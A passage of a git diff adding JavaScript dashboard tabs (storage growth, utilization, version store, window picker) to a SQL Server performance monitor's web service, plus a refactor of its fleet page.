+  { key: "user_seeks", label: "Seeks", format: "int" },
+  { key: "user_scans", label: "Scans", format: "int" },
+  { key: "user_lookups", label: "Lookups", format: "int" },
+  { key: "total_reads", label: "Total reads", format: "int" },
+  { key: "user_updates", label: "Updates", format: "int" },
+  { key: "last_user_access_server_local", label: "Last access (server time)" },
+  { key: "captured_at", label: "Collected", format: "time" },
+];
+
+// The desktop's line above the object grid (FinOpsTab.xaml ~:565).
+const OBJECT_GROWTH_NOTE = "Object / reserved footprint (daily). This is per-object reservation, not file allocation \u2014 it may not fully explain a database's file-level growth (log / free space).";
+
+function databaseNotice(s) {
+  const n = (s.rows || []).length;
+  let text = n === 1 ? "1 database" : n + " databases";
+  text += s.truncated ? "; the top " + n + " of " + (s.database_count ?? "more") + " by 30-day growth." : ".";
+  return text;
+}
+
+function objectNotice(s) {
+  let text = "Top " + (s.rows || []).length + " objects by growth over the last " + (s.window_days ?? "?") + " days";
+  text += s.truncated ? "; more exist." : ".";
+  return text;
+}
+
+function indexNotice(s) {
+  const n = (s.rows || []).length;
+  let text = n === 1 ? "1 index" : n + " indexes";
+  text += s.truncated ? "; the first " + n + " of " + (s.index_count ?? "more") + "." : ".";
+  // One snapshot for every row, so the notice says when it was collected; the read has no time bound, so it can be old.
+  if (typeof s.captured_at === "string" && s.captured_at) text += " Collected " + relTime(s.captured_at) + " (" + localTime(s.captured_at) + ").";
+  return text;
+}
+
+// A first column holding one small button per row; it has no data key, so it is not one of the table's row-function keys.
+function drillColumn(label, onPick) {
+  return {
+    label,
+    render: (row) => el("button", { type: "button", class: "btn", text: label, onClick: () => onPick(row) }),
+  };
+}
+
+// The objects x days matrix. The band is the service's; its only use here is the class name.
+function heatmap(section) {
+  const days = section.days || [];
+  const rows = section.rows || [];
+  if (!days.length || !rows.length) return emptyStrip("No daily size samples for these objects.");
+  const head = el("tr", {}, [
+    el("th", { text: "Object" }),
+    ...days.map((d) => el("th", { class: "num", text: String(d).slice(0, 10) })),
+  ]);
+  const body = rows.map((r) =>
+    el("tr", {}, [
+      el("td", { text: r.schema_name + "." + r.table_name }),
+      ...days.map((d, i) => {
+        const c = (r.cells || [])[i] || [null, null];
+        const mb = c[0];
+        const shade = c[1];
+        const known = Number.isInteger(shade) && shade >= 0 && shade <= 7;
+        return el("td", {
+          class: known ? "num heat-band-" + shade : "num",
+          title: r.schema_name + "." + r.table_name + " | " + String(d).slice(0, 10) + " | " + applyFormat("num1", mb) + " MB reserved",
+          text: mb == null ? "" : applyFormat("num1", mb),
+        });
+      }),
+    ])
+  );
+  return el("div", {}, [
+    el("div", { class: "table-wrap" }, [
+      el("table", { class: "data" }, [el("caption", { text: "Day (UTC)" }), el("thead", {}, [head]), el("tbody", {}, body)]),
+    ]),
+    el("p", { class: "muted", text: "Shade: the service's size band for each cell (log scale over this table); blank means no sample or zero." }),
+  ]);
+}
+
+// One section by its own status: ok shows the notice and the table, empty an empty strip, not_collected its message.
+function sectionContent(section, columns, emptyText, notice, lead) {
+  const s = section || {};
+  if (s.status === "ok") return [noticeStrip(notice(s)), VIZ.table(s, { rowsKey: "rows", columns: lead ? [lead, ...columns] : columns, emptyText })];
+  if (s.status === "empty") return [emptyStrip(emptyText)];
+  return [noticeStrip(s.message ?? "This section was not collected.")];
+}
+
+export const tab = {
+  id: "storage-growth",
+  label: "Storage Growth",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    const state = drillFor(server);
+    let seq = 0;
+
+    function crumb() {
+      const parts = ["Storage Growth"];
+      if (state.database != null) parts.push(state.database);
+      if (state.object != null) parts.push(state.object);
+      return el("div", { class: "muted", text: parts.join(" › ") });
+    }
+
+    function back() {
+      if (state.level === "indexes") {
+        state.level = "objects";
+        state.object = null;
+      } else {
+        state.level = "databases";
+        state.database = null;
+      }
+      load();
+    }
+
+    // The window picker (objects level only); the choice is kept in the drill, so the 60 s rebuild does not put it back to 30 days.
+    function windowPicker() {
+      return finopsWindowControl({
+        hours: state.days * 24,
+        view: "storage_growth",
+        /* The page always offered 7 / 30 / 90 days as one click each; the view's reach is the 90 (#5562 review r2 L3). */
+        offerReach: true,
+        /* The server reads hours_back = 24 as its 30-day default and refuses 2 to 6 days (DarlingMcpFinOpsTools.StorageGrowthWindowDaysFor), so the
+           shortest length the picker offers is a week (#5562 review r1 H1). */
+        minSpanMs: 7 * DAY_MS,
+        stepMs: DAY_MS,
+        onChange: (hours) => {
+          state.days = hours / 24;
+          load();
+        },
+      }).node;
+    }
+
+    function chrome(content) {
+      const items = [];
+      if (state.level !== "databases") {
+        items.push(el("button", { type: "button", class: "btn", text: "Back", onClick: back }));
+        items.push(crumb());
+      }
+      if (state.level === "objects") items.push(windowPicker());
+      mount(body, [...items, ...content]);
+    }
+
+    function openObjects(row) {
+      state.level = "objects";
+      state.database = row.database_name;
+      state.object = null;
+      load();
+    }
+
+    function openIndexes(row) {
+      state.level = "indexes";
+      state.object = row.object_name;
+      load();
+    }
+
+    async function load() {
+      const mine = ++seq;
+      mount(body, [loadingStrip()]);
+      const params = { server, view: "storage_growth", hours: HOURS };
+      if (state.level === "databases") params.limit = DATABASE_LIMIT;
+      if (state.level === "objects") Object.assign(params, { database_name: state.database, limit: OBJECT_LIMIT, hours: state.days * 24 });
+      // The same window at the indexes level, so the table is looked up among the same fastest growers the reader just saw.
+      if (state.level === "indexes") Object.assign(params, { database_name: state.database, object_name: state.object, hours: state.days * 24 });
+      try {
+        const res = await readTool("get_finops", params, ctx && ctx.signal);
+        if (mine !== seq) return;
+        if (res.kind === "aborted" || res.kind === "auth") return;
+        if (res.kind === "error" && state.level === "indexes" && String(res.message).includes(OBJECT_GONE)) {
+          state.level = "objects";
+          state.object = null;
+          return load();
+        }
+        if (res.kind === "error") return chrome([readErrorStrip(res.message)]);
+        if (res.kind === "empty") return chrome([gatedEmptyStrip(res, ctx)]);
+        const data = gatedSections(res.data || {}, ctx);
+        if (state.level === "databases") {
+          chrome([el("h3", { text: "Database Size and Growth" }), ...sectionContent(data.databases, DATABASE_COLUMNS, "No storage growth data available yet", databaseNotice, drillColumn("Show objects", openObjects))]);
+        } else if (state.level === "objects") {
+          const s = data.objects || {};
+          const parts = [el("h3", { text: "Objects by Growth" })];
+          if (data.database && data.database.status === "empty") parts.push(noticeStrip("This database is not in the latest snapshot."));
+          if (s.status === "ok") parts.push(noticeStrip(objectNotice(s)), noticeStrip(OBJECT_GROWTH_NOTE), heatmap(s), VIZ.table(s, { rowsKey: "rows", columns: [drillColumn("Show indexes", openIndexes), ...OBJECT_COLUMNS], emptyText: "No object size data for this database yet." }));
+          else parts.push(...sectionContent(s, OBJECT_COLUMNS, "No object size data for this database yet.", objectNotice));
+          chrome(parts);
+        } else {
+          chrome([el("h3", { text: "Indexes" }), ...sectionContent(data.indexes && data.indexes.rows ? { ...data.indexes, rows: data.indexes.rows.map((r) => ({ ...r, last_user_access_server_local: accessText(r.last_user_access_server_local), captured_at: data.indexes.captured_at ?? null })) } : data.indexes, INDEX_COLUMNS, "No index detail for this object.", indexNotice)]);
+        }
+      } catch (e) {
+        if (e?.name !== "AbortError" && mine === seq) chrome([errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e)))]);
+      }
+    }
+
+    load();
+    return body;
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/utilization.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/utilization.js
new file mode 100644
index 0000000000..1065489b4a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/utilization.js
@@ -0,0 +1,245 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Utilization" tab: the provisioning verdict, health score, cost cards, CPU and memory summary, reason
+   sentence and 7-day trend from get_finops (view utilization, the fixed 24-hour window), the two top-database grids
+   from get_finops (view database_resources, top 5 over 24 hours, as the desktop), then the raw panels: CPU over the
+   last day (get_cpu_utilization), the latest memory snapshot (get_memory_stats) and allocated versus used size per
+   database (get_database_sizes). Each section has its own container and the two get_finops reads run independently,
+   so one failing never blanks the other. The sizes table's snapshot time is not shown (a table panel has no slot for
+   a top-level field); a second panel would read get_database_sizes twice. A known gap. */
+
+import { renderPanel, VIZ } from "../../panels.js";
+import { READ_FIELDS } from "../../read-fields.js";
+import { el, mount, loadingStrip, readErrorStrip, errorStrip, readTool, fmtInt } from "../../util.js";
+import { gatedEmptyStrip, PG_NOT_COLLECTED } from "./gate.js";
+const CPU_HOURS = 24;
+const TOP_HOURS = 24;
+const TOP_LIMIT = 5;
+/* The summary tiles are a 24-hour aggregate; the Memory panel below shows the latest snapshot under some of the same labels. */
+const SUMMARY_TITLE = "Summary";
+const SUMMARY_SUBTITLE = "Last 24 hours";
+
+/* The service names the verdict and the band; the browser only picks a colour for the label it was sent. */
+const VERDICT_SEV = { RIGHT_SIZED: "Healthy", OVER_PROVISIONED: "Warning", UNDER_PROVISIONED: "Critical" };
+const BAND_SEV = { good: "Healthy", fair: "Warning", poor: "Critical" };
+
+/* Both come from the shared catalog, so a label or format changed there changes here (the Server page does the same). */
+const CPU_SERIES = READ_FIELDS.get_cpu_utilization.line.series;
+const SIZE_COLUMNS = READ_FIELDS.get_database_sizes.table.columns;
+
+/* The same predicate the Server page uses (server-tabs.js keeps its copy private): on an Azure SQL Database
+   (engine_edition 5) the first two memory figures are the database's memory limit and the room left under it, not
+   the host's RAM, so they are named that way and the read's own memory_note is shown. */
+const AZURE_SQL_DATABASE = { key: "engine_edition", equals: 5 };
+
+const MEMORY_STATS = [
+  { key: "captured_at", label: "Collected", format: "reltime", small: true },
+  { key: "total_physical_memory_mb", label: "Physical", format: "mb", hideWhen: AZURE_SQL_DATABASE },
+  { key: "total_physical_memory_mb", label: "Memory limit", format: "mb", showWhen: AZURE_SQL_DATABASE },
+  { key: "available_physical_memory_mb", label: "Available", format: "mb", hideWhen: AZURE_SQL_DATABASE },
+  { key: "available_physical_memory_mb", label: "Available under limit", format: "mb", showWhen: AZURE_SQL_DATABASE },
+  { key: "memory_utilization_pct", label: "Utilization", format: "pct" },
+  { key: "total_server_memory_mb", label: "Total server", format: "mb" },
+  { key: "target_server_memory_mb", label: "Target server", format: "mb" },
+  { key: "buffer_pool_mb", label: "Buffer pool", format: "mb" },
+  { key: "plan_cache_mb", label: "Plan cache", format: "mb" },
+  { key: "system_memory_state", label: "System state", format: "text", small: true, nullKey: "system_memory_state_note" },
+  { key: "sql_memory_model", label: "Memory model", format: "text", small: true },
+];
+
+/* utilization-keys:begin */
+/* Keys computed in the browser from the payload (text only); every other key below is read from the view. */
+const DERIVED_KEYS = ["verdict_label", "verdict_sev", "day_label", "monthly_cost_text", "annual_cost_text", "workers_in_use"];
+
+const SUMMARY_STATS = [
+  { key: "verdict_label", label: "Verdict", format: "text" },
+  { key: "health_score", label: "Health", format: "int" },
+  { key: "monthly_cost_text", label: "Budget", format: "text" },
+  { key: "annual_cost_text", label: "Annual", format: "text" },
+  { key: "cpu.avg_cpu_pct", label: "Avg CPU %", format: "num1" },
+  { key: "cpu.p95_cpu_pct", label: "P95 CPU %", format: "num1" },
+  { key: "cpu.max_cpu_pct", label: "Max CPU %", format: "int" },
+  { key: "cpu.cpu_count", label: "vCores", format: "int", nullKey: "cpu.cpu_count_reason", showWhen: { key: "cpu.cpu_count_unit", equals: "vcores" } },
+  { key: "cpu.cpu_count", label: "CPUs", format: "int", nullKey: "cpu.cpu_count_reason", hideWhen: { key: "cpu.cpu_count_unit", equals: "vcores" } },
+  { key: "cpu.max_workers", label: "Max workers", format: "int" },
+  { key: "workers_in_use", label: "Workers in use", format: "text" },
+  { key: "cpu.cpu_samples", label: "CPU samples (24h)", format: "int" },
+  { key: "memory.stolen_memory_pct", label: "Stolen memory %", format: "num1" },
+  { key: "memory.buffer_pool_pct", label: "Buffer pool %", format: "num1" },
+  { key: "memory.physical_memory_mb", label: "Physical", format: "mb", hideWhen: { key: "memory.memory_basis", equals: "memory_limit" } },
+  { key: "memory.physical_memory_mb", label: "Memory limit", format: "mb", showWhen: { key: "memory.memory_basis", equals: "memory_limit" } },
+  { key: "memory.target_memory_mb", label: "Target memory", format: "mb" },
+  { key: "memory.total_memory_mb", label: "Total memory", format: "mb" },
+  { key: "memory.buffer_pool_mb", label: "Buffer pool", format: "mb" },
+];
+
+const TREND_COLUMNS = [
+  { key: "day_label", label: "Day" },
+  { key: "verdict_label", label: "Status", sevKey: "verdict_sev" },
+  { key: "avg_cpu_pct", label: "Avg CPU %", format: "num1" },
+  { key: "p95_cpu_pct", label: "P95 CPU %", format: "num1" },
+  { key: "max_cpu_pct", label: "Max CPU %", format: "int" },
+  { key: "memory_ratio", label: "Mem Ratio", format: "num2" },
+];
+/* utilization-keys:end */
+
+/* top-keys:begin */
+const TOP_TOTAL_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "cpu_share_pct", label: "CPU %", format: "num1" },
+  { key: "io_share_pct", label: "IO %", format: "num1" },
+  { key: "cpu_time_ms", label: "CPU (ms)", format: "int" },
+  { key: "execution_count", label: "Execs", format: "int" },
+];
+
+const TOP_AVG_COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "avg_cpu_ms", label: "Avg CPU (ms)", format: "int" },
+  { key: "avg_io_mb", label: "Avg IO (MB)", format: "num2" },
+  { key: "execution_count", label: "Execs", format: "int" },
+];
+/* top-keys:end */
+
+function verdictLabel(v) {
+  return v == null ? "No Data" : v === "NOT_APPLICABLE" ? "N/A" : String(v).replace(/_/g, " ");
+}
+
+function trendDay(s) {
+  const d = new Date(s + "T00:00:00Z");
+  if (Number.isNaN(d.getTime())) return s;
+  return d.toLocaleDateString(undefined, { timeZone: "UTC", weekday: "short", month: "2-digit", day: "2-digit" });
+}
+
+function loadUtilization(body, server, ctx) {
+  (async () => {
+    try {
+      const res = await readTool("get_finops", { server, view: "utilization" }, ctx && ctx.signal);
+      if (res.kind === "aborted" || res.kind === "auth") return;
+      if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+      if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+      const data = res.data || {};
+      const hasCost = data.monthly_cost_usd != null;
+      const view = {
+        ...data,
+        verdict_label: verdictLabel(data.verdict),
+        monthly_cost_text: hasCost ? "$" + fmtInt(data.monthly_cost_usd) + "/mo" : null,
+        annual_cost_text: data.annual_cost_usd != null ? "$" + fmtInt(data.annual_cost_usd) + "/yr" : null,
+        workers_in_use: data.cpu && data.cpu.current_workers != null ? fmtInt(data.cpu.current_workers) : "n/a",
+      };
+      const stats = SUMMARY_STATS
+        .filter((s) => hasCost || (s.key !== "monthly_cost_text" && s.key !== "annual_cost_text"))
+        .map((s) =>
+          s.key === "verdict_label" ? { ...s, sev: VERDICT_SEV[data.verdict] }
+            : s.key === "health_score" ? { ...s, sev: BAND_SEV[data.health_band] }
+            : s);
+      const trend = (data.provisioning_trend || []).map((r) => ({
+        ...r,
+        day_label: trendDay(r.day),
+        verdict_label: verdictLabel(r.verdict),
+        verdict_sev: VERDICT_SEV[r.verdict],
+      }));
+      mount(body, [
+        el("h3", {}, [SUMMARY_TITLE, el("span", { class: "panel-sub", text: " " + SUMMARY_SUBTITLE })]),
+        VIZ.stat(view, { stats }),
+        data.health_score_note ? el("p", { class: "finops-note", title: data.health_score_note, text: data.health_score_note }) : null,
+        el("p", { class: "finops-reason", text: data.verdict_reason }),
+        el("details", {}, [
+          el("summary", { text: "7-Day Provisioning Trend" }),
+          VIZ.table({ rows: trend }, { rowsKey: "rows", columns: TREND_COLUMNS, sortable: false, emptyText: "No provisioning trend in the last 7 days." }),
+        ]),
+      ]);
+    } catch (e) {
+      if (e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+    }
+  })();
+}
+
+function loadTopDatabases(body, server, ctx) {
+  (async () => {
+    try {
+      const res = await readTool("get_finops", { server, view: "database_resources", hours: TOP_HOURS, limit: TOP_LIMIT }, ctx && ctx.signal);
+      if (res.kind === "aborted" || res.kind === "auth") return;
+      if (res.kind === "error") return mount(body, readErrorStrip(res.message));
+      if (res.kind === "empty") return mount(body, gatedEmptyStrip(res, ctx));
+      const data = res.data || {};
+      mount(body, [
+        el("h3", { text: "Top Databases by Total CPU" }),
+        VIZ.table(data, { rowsKey: "top_by_total", columns: TOP_TOTAL_COLUMNS, emptyText: "No database used CPU in the last 24 hours." }),
+        el("h3", { text: "Top Databases by Avg CPU / Execution" }),
+        VIZ.table(data, { rowsKey: "top_by_avg", columns: TOP_AVG_COLUMNS, emptyText: "No database had executions in the last 24 hours." }),
+      ]);
+    } catch (e) {
+      if (e?.name !== "AbortError") mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+    }
+  })();
+}
+
+function section(id, children) {
+  return el("div", { class: "finops-section", "data-section": id }, children);
+}
+
+export const tab = {
+  id: "utilization",
+  label: "Utilization",
+  build(server, ctx) {
+    const verdictBody = el("div", {}, [loadingStrip()]);
+    const topBody = el("div", {}, [loadingStrip()]);
+    loadUtilization(verdictBody, server, ctx);
+    loadTopDatabases(topBody, server, ctx);
+    return el("div", { class: "finops-utilization" }, [
+      section("verdict", [verdictBody]),
+      section("top", [topBody]),
+      section("cpu", [
+        renderPanel({
+          title: "CPU Utilization",
+          subtitle: "last " + CPU_HOURS + " hours",
+          read: "get_cpu_utilization",
+          notCollectedLine: ctx && ctx.postgres ? PG_NOT_COLLECTED : null,
+          params: { server, hours: CPU_HOURS },
+          viz: "line",
+          rowsKey: "samples",
+          xKey: "sample_time",
+          series: CPU_SERIES,
+          format: "pct",
+          unit: "%",
+          emptyText: "No CPU samples in this window.",
+          span: 2,
+        }),
+      ]),
+      section("memory", [
+        renderPanel({
+          title: "Memory",
+          subtitle: "latest snapshot",
+          read: "get_memory_stats",
+          notCollectedLine: ctx && ctx.postgres ? PG_NOT_COLLECTED : null,
+          params: { server },
+          viz: "stat",
+          stats: MEMORY_STATS,
+          noteKey: "memory_note",
+          span: 2,
+        }),
+      ]),
+      section("sizes", [
+        renderPanel({
+          title: "Database Sizes",
+          subtitle: "latest snapshot",
+          read: "get_database_sizes",
+          notCollectedLine: ctx && ctx.postgres ? PG_NOT_COLLECTED : null,
+          params: { server },
+          viz: "table",
+          rowsKey: "databases",
+          columns: SIZE_COLUMNS,
+          emptyText: "No database sizes in the latest snapshot.",
+          noteKey: "note",
+          span: 2,
+        }),
+      ]),
+    ]);
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/version-store.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/version-store.js
new file mode 100644
index 0000000000..92a3b1dc6e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/version-store.js
@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* FinOps "Version Store (PVS)" tab: the latest persistent version store state per database and a size trend for the
+   top databases, both from one get_pvs_stats read. A server whose engine has no PVS shows the read's own message. PVS counts off-row versions only, matching the desktop label. */
+
+import { VIZ } from "../../panels.js";
+import { gatedEmptyStrip } from "./gate.js";
+import { zoomableLineChart, chartZoomScope, SERIES_COLORS } from "../../charts.js";
+import { el, readTool, readErrorStrip, emptyStrip, errorStrip, loadingStrip, mount, fmtNum, localTime, windowFromHours } from "../../util.js";
+
+/* Seven days, the desktop's window, and the read's own ceiling (McpHelpers.MaxHoursBack = 168): a larger value is refused, not clamped. */
+const TREND_HOURS = 168;
+
+const COLUMNS = [
+  { key: "database_name", label: "Database" },
+  { key: "is_adr_on", label: "ADR on", format: "bool" },
+  { key: "pvs_size_mb", label: "PVS off-row MB", format: "num2" },
+  { key: "pct_of_database", label: "% of database", format: "num2", nullKey: "pct_of_database_reason", wrap: true },
+  { key: "online_index_version_store_mb", label: "Online index store MB", format: "num2" },
+  { key: "database_data_size_mb", label: "Database data size", format: "mb" },
+  { key: "aborted_transaction_count", label: "Aborted transactions", format: "int" },
+  { key: "aborted_version_cleaner_start_time", label: "Aborted cleaner start", format: "time" },
+  { key: "aborted_version_cleaner_end_time", label: "Aborted cleaner end", format: "time" },
+  { key: "offrow_version_cleaner_start_time", label: "Off-row cleaner start", format: "time" },
+  { key: "offrow_version_cleaner_end_time", label: "Off-row cleaner end", format: "time" },
+  { key: "oldest_active_transaction_id", label: "Oldest active transaction id", format: "int" },
+  { key: "oldest_aborted_transaction_id", label: "Oldest aborted transaction id", format: "int" },
+  { key: "aborted_transaction_lag", label: "Aborted Lag", format: "int" },
+  { key: "cleanup_state", label: "Cleanup" },
+  { key: "skipped_low_water_mark", label: "Skipped: Secondary", format: "int" },
+  { key: "skipped_min_useful_xts", label: "Skipped: Snapshot", format: "int" },
+  { key: "skipped_oldest_aborted", label: "Skipped: Aborted", format: "int" },
+];
+
+/* One row per collection time, one column per database, so the chart draws one line per database. */
+function pivotTrend(trend) {
+  const byTime = new Map();
+  const series = [];
+  (trend || []).forEach((g, i) => {
+    const key = "db" + i;
+    series.push({ key, label: g.database_name, color: SERIES_COLORS[i % SERIES_COLORS.length] });
+    (g.points || []).forEach((p) => {
+      const row = byTime.get(p.collection_time) || { collection_time: p.collection_time };
+      row[key] = p.pvs_size_mb;
+      byTime.set(p.collection_time, row);
+    });
+  });
+  return { points: [...byTime.values()], series };
+}
+
+function panel(title, subtitle, body) {
+  return el("div", { class: "panel card span-2" }, [
+    el("h3", {}, [title, subtitle ? el("span", { class: "panel-sub", text: " " + subtitle }) : null]),
+    el("div", { class: "panel-body" }, [body]),
+  ]);
+}
+
+export const tab = {
+  id: "version-store",
+  label: "Version Store (PVS)",
+  build(server, ctx) {
+    const body = el("div", {}, [loadingStrip()]);
+    const root = el("div", { class: "grid" }, [panel("Persistent version store", null, body)]);
+    load(server, ctx, body);
+    return root;
+  },
+};
+
+async function load(server, ctx, body) {
+  const signal = ctx && ctx.signal;
+  const res = await readTool("get_pvs_stats", { server, trend_hours_back: TREND_HOURS }, signal);
+  if (res.kind === "aborted" || res.kind === "auth") return;
+  if (res.kind === "error") {
+    mount(body, readErrorStrip(res.message));
+    return;
+  }
+  if (res.kind === "empty") {
+    mount(body, gatedEmptyStrip(res, ctx));
+    return;
+  }
+  try {
+    const data = res.data;
+    const table = VIZ.table(data, {
+      rowsKey: "databases",
+      columns: COLUMNS,
+      emptyText: "No PVS rows were returned for this server.",
+    });
+    const { points, series } = pivotTrend(data.trend);
+    const chart = points.length
+      ? zoomableLineChart({ points, xKey: "collection_time", series, formatValue: (v) => fmtNum(v, 2), unit: "PVS off-row MB", ...windowFromHours(TREND_HOURS) }, "pvs-size-trend", chartZoomScope(TREND_HOURS))
+      : emptyStrip("No PVS size history in the last " + TREND_HOURS + " hours.");
+    mount(body, [
+      el("div", { class: "strip notice", role: "status", text: "As of " + localTime(data.as_of) + " (latest snapshot)." }),
+      table,
+      el("h4", { text: "PVS off-row size (MB), last " + TREND_HOURS + " hours, top databases by current size" }),
+      chart,
+    ]);
+  } catch (e) {
+    mount(body, errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e))));
+  }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/window.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/window.js
new file mode 100644
index 0000000000..184730b886
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/window.js
@@ -0,0 +1,55 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* The FinOps pages' window control (#5562 R5): the shared time range picker, in its Compact, rolling-only form. Every FinOps read is
+   "this many hours back from now" (`hours`, no `as_of`), so the control offers no calendar period, no custom end and nothing under
+   an hour, and a range the read cannot honor is greyed out with the reason rather than read differently. The reach is the read's
+   own, from the catalog (`max_hours`); a view that reaches further than its read's catalog entry says passes its own. */
+
+import { el } from "../../util.js";
+import { pageRangePicker } from "../../page-range.js";
+import { relativeSpec, ROLLING_ONLY_MIN_SPAN_MS } from "../../time-range.js";
+
+const HOUR_MS = 3600000;
+
+/**
+ * @param {object} opts
+ * @param {number} opts.hours the window to start on, in whole hours
+ * @param {(hours: number) => void} opts.onChange raised with the whole hours the reader picked
+ * @param {number} [opts.reachHours] a fixed reach for the view; prefer `opts.view`
+ * @param {string} [opts.view] the get_finops view whose own reach (catalog `view_max_hours`) is longer than the read's `max_hours`
+ * @param {number} [opts.minSpanMs] a floor above one hour (a daily read)
+ * @param {number} [opts.stepMs] the unit a length must be a whole number of (default one hour)
+ * @param {string} [opts.label] the control's label (default "Window")
+ * @param {boolean} [opts.offerReach] add the view's reach as the longest quick choice when it is longer than the shared 30 days
+ *   (Storage Growth's 90, which the page always offered as one click, #5562 review r2 L3)
+ * @returns {{ node: HTMLElement, picker: object, hours: () => number }}
+ */
+export function finopsWindowControl(opts) {
+  const label = opts.label || "Window";
+  const { picker } = pageRangePicker({
+    read: "get_finops",
+    spec: relativeSpec(opts.hours * HOUR_MS),
+    label,
+    compact: true,
+    offerReach: opts.offerReach,
+    rollingOnly: true,
+    minSpanMs: opts.minSpanMs || ROLLING_ONLY_MIN_SPAN_MS,
+    stepMs: opts.stepMs,
+    reachHours: opts.reachHours,
+    view: opts.view,
+    /* No collector feeds the FinOps views as one read, so there is no "collected every N minutes" note here. */
+    useCatalogInterval: false,
+    onChange: () => opts.onChange(currentHours()),
+  });
+  const currentHours = () => {
+    const w = picker.window();
+    return w ? w.hours : opts.hours;
+  };
+  return { node: el("div", { class: "range-control" }, [el("span", { text: label }), picker.node]), picker, hours: currentHours };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js
index b232d16892..61550e8235 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js
@@ -13,8 +13,13 @@
  * API reports it (band = Warning, status text verbatim) — never the red offline treatment.
  */
 
-import { el, mount, apiGetFleet, loadingStrip, errorStrip, emptyStrip, localTime, localClock, relTime, fmtInt, fmtNum, fmtPct, fmtMb, fmtMs, bandClass, rollupTextId } from "../util.js";
+import { el, mount, readTool, apiGetFleet, loadingStrip, errorStrip, emptyStrip, localTime, localClock, relTime, fmtInt, fmtNum, fmtPct, fmtMb, fmtMs, bandClass, rollupTextId } from "../util.js";
 import { VIZ, navigateServer } from "../panels.js";
+import { favoritesFirst, onChange as onLocalChange } from "../viewer-local.js";
+import { buildTagGroups, cardMatches } from "../fleet-groups.js";
+import { favoriteStar, alertBadge } from "../viewer-local-ui.js";
+import * as api from "../alerts-api.js";
+import { createRule, deleteRule } from "./mute-rules.js";
 
 const BAND_RANK = { Offline: 0, Critical: 1, Warning: 2, Healthy: 3 };
 
@@ -49,6 +54,8 @@ let attentionToggle = null;
    nests its children correctly, exactly as FleetView does. */
 let fleetGrouped = readStored("darling.fleet.grouped") === "1";
 let lastTags = [];
+/* A favourite or acknowledgement made anywhere repaints the grid in place (no refetch). */
+onLocalChange(() => redrawCards());
 const collapsedGroups = new Set(readStoredJson("darling.fleet.collapsed", []));
 const GROUP_INDENT = 16; // px per tree depth
 
@@ -56,61 +63,6 @@ function readStored(key) { try { return localStorage.getItem(key); } catch { ret
 function readStoredJson(key, dflt) { try { return JSON.parse(localStorage.getItem(key) || "null") ?? dflt; } catch { return dflt; } }
 function writeStored(key, value) { try { localStorage.setItem(key, value); } catch { /* private mode / disabled — view stays session-only */ } }
 
-/* The web twin of FleetView's projection: the tag forest depth-first (child tags before a tag's own servers),
-   then an Untagged group last. Each entry is one group header with its DIRECTLY-assigned server cards; a server
-   carrying multiple tags appears under each, and an untagged server appears only under Untagged. Cycle- and
-   dangling-parent-safe (an orphaned tag surfaces as a root rather than vanishing). No Favorites group — the web
-   fleet has no per-user favourites. */
-function buildTagGroups(forest, cards, sortFn) {
-  const known = new Set(forest.map((t) => t.id));
-  const byParent = new Map();
-  for (const t of forest) {
-    const p = t.parent_id != null && known.has(t.parent_id) ? t.parent_id : 0; // dangling parent -> root
-    if (!byParent.has(p)) byParent.set(p, []);
-    byParent.get(p).push(t);
-  }
-  for (const list of byParent.values()) list.sort((a, b) => a.sort_order - b.sort_order || a.name.localeCompare(b.name));
-
-  const serversByTag = new Map();
-  for (const c of cards) {
-    for (const t of c.tags || []) {
-      if (!serversByTag.has(t.id)) serversByTag.set(t.id, []);
-      serversByTag.get(t.id).push(c);
-    }
-  }
-
-  const groups = [];
-  const visited = new Set();
-  function emit(tag, depth) {
-    if (visited.has(tag.id)) return;
-    visited.add(tag.id);
-    const servers = (serversByTag.get(tag.id) || []).slice().sort(sortFn);
-    const kids = byParent.get(tag.id) || [];
-    groups.push({ key: "tag:" + tag.id, name: tag.name, depth, cards: servers, hasChildren: kids.length > 0 || servers.length > 0 });
-    for (const kid of kids) emit(kid, depth + 1);
-  }
-  for (const root of byParent.get(0) || []) emit(root, 0);
-  for (const t of forest) if (!visited.has(t.id)) emit(t, 0); // cycle / disconnected -> surface as a root
-
-  const untagged = cards.filter((c) => !(c.tags || []).length).slice().sort(sortFn);
